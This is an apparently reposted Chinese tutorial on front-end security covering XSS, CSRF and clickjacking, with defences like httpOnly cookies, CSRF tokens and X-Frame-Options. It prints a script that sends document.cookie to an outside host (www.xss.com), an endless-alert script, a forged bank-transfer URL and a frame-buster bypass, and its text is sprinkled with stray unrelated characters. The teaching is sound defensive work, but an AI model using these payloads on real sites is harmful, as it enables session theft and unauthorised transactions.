前端安全知識(shí)

原文連接 https://jkchao.cn/article/59de0283c52d5a4ba98b1f0d

XSS

xss: 跨站腳本攻擊(Cross Site Scripting)是最常見和基本的攻擊 WEB 網(wǎng)站方法诺凡,攻擊者通過注入非法的 html 標(biāo)簽或者 javascript 代碼嘶卧,從而當(dāng)用戶瀏覽該網(wǎng)頁時(shí),控制用戶瀏覽器钟鸵。

xss 主要分為三類:

  • DOM xss :

    DOM即文本對(duì)象模型,DOM通常代表在html蒙袍、xhtml和xml中的對(duì)象,使用DOM可以允許程序和腳本動(dòng)態(tài)的訪問和更新文檔的內(nèi)容以现、結(jié)構(gòu)和樣式。它不需要服務(wù)器解析響應(yīng)的直接參與茵汰,觸發(fā)XSS靠的是瀏覽器端的DOM解析,可以認(rèn)為完全是客戶端的事情豆胸。

  • 反射型 xss :

    反射型XSS也被稱為非持久性XSS,是現(xiàn)在最容易出現(xiàn)的一種XSS漏洞估盘。發(fā)出請(qǐng)求時(shí),XSS代碼出現(xiàn)在URL中箫踩,最后輸入提交到服務(wù)器,服務(wù)器解析后在響應(yīng)內(nèi)容中出現(xiàn)這段XSS代碼吱韭,最后瀏覽器解析執(zhí)行。

  • 存儲(chǔ)型 xss :

    存儲(chǔ)型XSS又被稱為持久性XSS,它是最危險(xiǎn)的一種跨站腳本宙橱,相比反射型XSS和DOM型XSS具有更高的隱蔽性环葵,所以危害更大,因?yàn)樗恍枰脩羰謩?dòng)觸發(fā)菊卷。 允許用戶存儲(chǔ)數(shù)據(jù)的web程序都可能存在存儲(chǔ)型XSS漏洞,當(dāng)攻擊者提交一段XSS代碼后扑眉,被服務(wù)器端接收并存儲(chǔ),當(dāng)所有瀏覽者訪問某個(gè)頁面時(shí)都會(huì)被XSS耸弄,其中最典型的例子就是留言板。

跨站腳本攻擊可能造成以下影響:

  • 利用虛假輸入表單騙取用戶個(gè)人信息。

  • 利用腳本竊取用戶的 Cookie 值扶歪,被害者在不知情的情況下,幫助攻擊者發(fā)送惡意請(qǐng)求炫欺。

  • 顯示偽造的文章或圖片树姨。

存儲(chǔ)型 xss 案例

在項(xiàng)目開發(fā)中,評(píng)論是個(gè)常見的功能台丛,如果直接把評(píng)論的內(nèi)容保存到數(shù)據(jù)庫,那么顯示的時(shí)候就可能被攻擊侠坎。

  • 如果你只是想試試 xss,可以這樣:

    <font size="100" color="red">試試水</font>
    
    
  • 如果帶點(diǎn)惡意,可以這樣:

    <script>
        while (true) {
            alert('Hello')
        }
    </script>
    

    這時(shí),網(wǎng)站就掛了讶凉。

  • 當(dāng)然,最常見 xss 攻擊是讀取 Cookie:

    <script>
        alert(document.cookie)
    </script>
    

    Cookie 發(fā)送給攻擊者的站點(diǎn):

    var img = document.createElement('img')
    img.src='http://www.xss.com?cookie=' + document.cookie
    img.style.display='none'
    document.getElementsByTagName('body')[0].appendChild(img)
    

    當(dāng)前用戶的登錄憑證存儲(chǔ)于服務(wù)器的 session 中,而在瀏覽器中是以 cookie 的形式存儲(chǔ)的瘫里。如果攻擊者能獲取到用戶登錄憑證的 Cookie盐须,甚至可以繞開登錄流程闷尿,直接設(shè)置這個(gè) Cookie 值,來訪問用戶的賬號(hào)劳景。

防御

按理說,只要有輸入數(shù)據(jù)的地方筋量,就可能存在 XSS 危險(xiǎn)。

  • httpOnly: 在 cookie 中設(shè)置 HttpOnly 屬性后呀酸,js腳本將無法讀取到 cookie 信息。

    // koa
    ctx.cookies.set(name, value, {
        httpOnly: true // 默認(rèn)為 true
    })
    
  • 過濾

    • 輸入檢查,一般是用于對(duì)于輸入格式的檢查蝗砾,例如:郵箱,電話號(hào)碼扣猫,用戶名癌幕,密碼……等,按照規(guī)定的格式輸入胶逢。

      不僅僅是前端負(fù)責(zé),后端也要做相同的過濾檢查。

      因?yàn)楣粽咄耆梢岳@過正常的輸入流程南誊,直接利用相關(guān)接口向服務(wù)器發(fā)送設(shè)置。

    • HtmlEncode
      某些情況下幔托,不能對(duì)用戶數(shù)據(jù)進(jìn)行嚴(yán)格過濾,需要對(duì)標(biāo)簽進(jìn)行轉(zhuǎn)換

      當(dāng)用戶輸入<script>window.location.href=”http://www.baidu.com”;</script>, 最終保存結(jié)果為 <script>window.location.</script>, 在展現(xiàn)時(shí)严肪,瀏覽器會(huì)對(duì)這些字符轉(zhuǎn)換成文本內(nèi)容篇梭,而不是一段可以執(zhí)行的代碼。

  • JavaScriptEncode
    對(duì)下列字符加上反斜杠

    關(guān)于更多 HtmlEncode 和 JavaScriptEncode坦康,請(qǐng)參考 http://www.cnblogs.com/lovesong/p/5211667.html

CSRF

csrf:跨站點(diǎn)請(qǐng)求偽造(Cross-Site Request Forgeries)卑笨,也被稱為 one-click attack 或者 session riding妖滔。冒充用戶發(fā)起請(qǐng)求(在用戶不知情的情況下), 完成一些違背用戶意愿的事情(如修改用戶信息,刪初評(píng)論等)承二。

可能會(huì)造成以下影響:

  • 利用已通過認(rèn)證的用戶權(quán)限更新設(shè)定信息等;

  • 利用已通過認(rèn)證的用戶權(quán)限購買商品;

  • 利用已通過的用戶權(quán)限在留言板上發(fā)表言論家妆。

一張圖了解原理:

簡(jiǎn)而言之:網(wǎng)站過分相信用戶嵌赠。

與 xss 區(qū)別

  • 通常來說 CSRF 是由 XSS 實(shí)現(xiàn)的齿税,CSRF 時(shí)常也被稱為 XSRF(CSRF 實(shí)現(xiàn)的方式還可以是直接通過命令行發(fā)起請(qǐng)求等)拧篮。

  • 本質(zhì)上講,XSS 是代碼注入問題,CSRF 是 HTTP 問題顷牌。XSS 是內(nèi)容沒有過濾導(dǎo)致瀏覽器將攻擊者的輸入當(dāng)代碼執(zhí)行。CSRF 則是因?yàn)闉g覽器在發(fā)送 HTTP 請(qǐng)求時(shí)候自動(dòng)帶上 cookie,而一般網(wǎng)站的 session 都存在 cookie里面谁帕。

  • 來自某乎的一個(gè)栗子:

案例

比如某網(wǎng)站的轉(zhuǎn)賬操作

受害者張三給李四轉(zhuǎn)賬100关划,

通過對(duì)銀行的網(wǎng)站發(fā)起請(qǐng)求 http://bank.example/transfer?accout=張三&to=李四&money=100 ,

通常情況下调榄,該請(qǐng)求發(fā)出后,服務(wù)器端會(huì)檢查 session 是否合法,并且張三已經(jīng)登錄成功腮出,

黑客王五可以自己給銀行發(fā)送一個(gè)請(qǐng)求 http://bank.example/transfer?accout=張三&to=王五&money=1000 ,但是這個(gè)請(qǐng)求來自王五攻锰,而不是張三变擒,他并不能通過安全認(rèn)證策添。他需要張三的 session 。

王五自己做了一個(gè)網(wǎng)站,放入如下代碼 http://bank.example/transfer?accout=張三&to=王五&money=1000 产上,
用各種方式誘使張三點(diǎn)擊自己的網(wǎng)站。

張三登錄了銀行的網(wǎng)站沒有退出,訪問了黑客王五的網(wǎng)站佃扼,上述的 url 就會(huì)向銀行發(fā)起請(qǐng)求挎扰。

如果session沒有過期尽超,這時(shí)悲劇就發(fā)生了傲绣,張三的賬戶里少了1000。

防御

  • 驗(yàn)證碼;強(qiáng)制用戶必須與應(yīng)用進(jìn)行交互毅往,才能完成最終請(qǐng)求。此種方式能很好的遏制 csrf,但是用戶體驗(yàn)比較差戒幔。

  • 盡量使用 post ,限制 get 使用;上一個(gè)例子可見枢析,get 太容易被拿來做 csrf 攻擊,但是 post 也并不是萬無一失啊易,攻擊者只需要構(gòu)造一個(gè)form就可以。

  • Referer check;請(qǐng)求來源限制呻逆,此種方法成本最低,但是并不能保證 100% 有效滓彰,因?yàn)榉?wù)器并不是什么時(shí)候都能取到 Referer弓候,而且低版本的瀏覽器存在偽造 Referer 的風(fēng)險(xiǎn)。

  • token;token 驗(yàn)證的 CSRF 防御機(jī)制是公認(rèn)最合適的方案贱迟。

    整體思路如下:

    • 第一步:后端隨機(jī)產(chǎn)生一個(gè) token,把這個(gè)token 保存到 session 狀態(tài)中;同時(shí)后端把這個(gè)token 交給前端頁面恬惯;

    • 第二步:前端頁面提交請(qǐng)求時(shí),把 token 加入到請(qǐng)求數(shù)據(jù)或者頭信息中,一起傳給后端讹堤;

    • 后端驗(yàn)證前端傳來的 token 與 session 是否一致,一致則合法,否則是非法請(qǐng)求叙谨。

    若網(wǎng)站同時(shí)存在 XSS 漏洞的時(shí)候姑尺,這個(gè)方法也是空談统捶。

Clickjacking

Clickjacking: 點(diǎn)擊劫持镰惦,是指利用透明的按鈕或連接做成陷阱兑凿,覆蓋在 Web 頁面之上。然后誘使用戶在不知情的情況下祈惶,點(diǎn)擊那個(gè)連接訪問內(nèi)容的一種攻擊手段棒搜。這種行為又稱為界面?zhèn)窝b(UI Redressing) 。

大概有兩種方式:

  • 攻擊者使用一個(gè)透明 iframe闺鲸,覆蓋在一個(gè)網(wǎng)頁上,然后誘使用戶在該頁面上進(jìn)行操作,此時(shí)用戶將在不知情的情況下點(diǎn)擊透明的 iframe 頁面然想;

  • 攻擊者使用一張圖片覆蓋在網(wǎng)頁令哟,遮擋網(wǎng)頁原有的位置含義蛙卤。

案例

一張圖了解

一般步驟

  • 黑客創(chuàng)建一個(gè)網(wǎng)頁利用 iframe 包含目標(biāo)網(wǎng)站;

  • 隱藏目標(biāo)網(wǎng)站垛耳,使用戶無法無法察覺到目標(biāo)網(wǎng)站存在护奈;

  • 構(gòu)造網(wǎng)頁,誘變用戶點(diǎn)擊特點(diǎn)按鈕

  • 用戶在不知情的情況下點(diǎn)擊按鈕,觸發(fā)執(zhí)行惡意網(wǎng)頁的命令建椰。

防御

  • X-FRAME-OPTIONS啦逆;

    X-FRAME-OPTIONS HTTP 響應(yīng)頭是用來給瀏覽器指示允許一個(gè)頁面可否在<frame>, <iframe> 或者 <object> 中展現(xiàn)的標(biāo)記。網(wǎng)站可以使用此功能,來確保自己網(wǎng)站內(nèi)容沒有被嵌到別人的網(wǎng)站中去,也從而避免點(diǎn)擊劫持的攻擊朗和。

    有三個(gè)值:

    • DENY:表示頁面不允許在 frame 中展示,即便是在相同域名的頁面中嵌套也不允許镰禾。

    • SAMEORIGIN:表示該頁面可以在相同域名頁面的 frame 中展示坞古。

    • ALLOW-FROM url:表示該頁面可以在指定來源的 frame 中展示。

配置 X-FRAME-OPTIONS:

- Apache 

把下面這行添加到 'site' 的配置中:

```
Header always append X-Frame-Options SAMEORIGIN
```

- nginx

把下面這行添加到 'http', 'server' 或者 'location',配置中

```
add_header X-Frame-Options SAMEORIGIN;
```

- IIS

添加下面配置到 Web.config 文件中

```
    <system.webServer>
  ...

  <httpProtocol>
    <customHeaders>
      <add name="X-Frame-Options" value="SAMEORIGIN" />
    </customHeaders>
  </httpProtocol>

  ...
</system.webServer>

```
  • js 判斷頂層窗口跳轉(zhuǎn),可輕易破解,意義不大肖爵;
function locationTop(){
     if (top.location != self.location) {
        top.location = self.location; return false;
     }
     return true; 
    }
locationTop();
// 破解:
// 頂層窗口中放入代碼
var location = document.location;
//或者
var location = "";
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末窃植,一起剝皮案震驚了整個(gè)濱河市葛超,隨后出現(xiàn)的幾起案子侥涵,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 222,104評(píng)論 6 515
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件馆纳,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡壹罚,警方通過查閱死者的電腦和手機(jī)辨泳,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 94,816評(píng)論 3 399
  • 文/潘曉璐 我一進(jìn)店門试溯,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人蹄咖,你說我怎么就攤上這事倘屹。” “怎么了馏段?”我有些...
    開封第一講書人閱讀 168,697評(píng)論 0 360
  • 文/不壞的土叔 我叫張陵,是天一觀的道長硫麻。 經(jīng)常有香客問我浇辜,道長叹坦,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 59,836評(píng)論 1 298
  • 正文 為了忘掉前任道盏,我火速辦了婚禮,結(jié)果婚禮上涩澡,老公的妹妹穿的比我還像新娘粥帚。我一直安慰自己卖漫,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 68,851評(píng)論 6 397
  • 文/花漫 我一把揭開白布鸯两。 她就那樣靜靜地躺著,像睡著了一般酸舍。 火紅的嫁衣襯著肌膚如雪淮阐。 梳的紋絲不亂的頭發(fā)上挑随,一...
    開封第一講書人閱讀 52,441評(píng)論 1 310
  • 那天骆莹,我揣著相機(jī)與錄音,去河邊找鬼。 笑死,一個(gè)胖子當(dāng)著我的面吹牛该溯,可吹牛的內(nèi)容都是我干的氯庆。 我是一名探鬼主播,決...
    沈念sama閱讀 40,992評(píng)論 3 421
  • 文/蒼蘭香墨 我猛地睜開眼屠橄,長吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼溪北!你這毒婦竟也來了咧叭?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 39,899評(píng)論 0 276
  • 序言:老撾萬榮一對(duì)情侶失蹤氯哮,失蹤者是張志新(化名)和其女友劉穎出牧,沒想到半個(gè)月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 46,457評(píng)論 1 318
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡想暗,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 38,529評(píng)論 3 341
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 40,664評(píng)論 1 352
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡元扔,死狀恐怖验懊,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情奏夫,我是刑警寧澤麻削,帶...
    沈念sama閱讀 36,346評(píng)論 5 350
  • 正文 年R本政府宣布,位于F島的核電站借帘,受9級(jí)特大地震影響际起,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 42,025評(píng)論 3 334
  • 文/蒙蒙 一奈嘿、第九天 我趴在偏房一處隱蔽的房頂上張望伯诬。 院中可真熱鬧,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,511評(píng)論 0 24
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽癣籽。三九已至埂材,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 33,611評(píng)論 1 272
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 49,081評(píng)論 3 377
  • 正文 我出身青樓庇麦,卻偏偏與公主長得像航棱,于是被迫代替她去往敵國和親朴艰。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,675評(píng)論 2 359

推薦閱讀更多精彩內(nèi)容

  • http://www.91ri.org/tag/fuzz-bug 通常情況下免姿,有三種方法被廣泛用來防御CSRF攻擊...
    jdyzm閱讀 4,182評(píng)論 0 5
  • 基礎(chǔ) XSS就是讓瀏覽器執(zhí)行想插入的js辑舷。那么如何發(fā)現(xiàn)這些漏洞呢传轰?只要有輸入和輸出的地方都伴隨著漏洞的產(chǎn)生纪挎,下面介...
    lotuslwb閱讀 1,008評(píng)論 0 0
  • HTTP cookie(也稱為web cookie,網(wǎng)絡(luò)cookie,瀏覽器cookie或者簡(jiǎn)稱cookie)是網(wǎng)...
    留七七閱讀 17,982評(píng)論 2 71
  • 前言 對(duì)于一個(gè)影子殺手而言,總能殺人于無形。前端也有影子殺手,它總是防不勝防地危害著你的網(wǎng)站 本篇打算介紹一些前端...
    Layzimo閱讀 663評(píng)論 0 1
  • 我不喜歡北京的霧霾,也不喜歡城市的堵車,不喜歡世界,我只喜歡你骆撇!一萬年太久,怕你老了
    陸副帥閱讀 116評(píng)論 0 0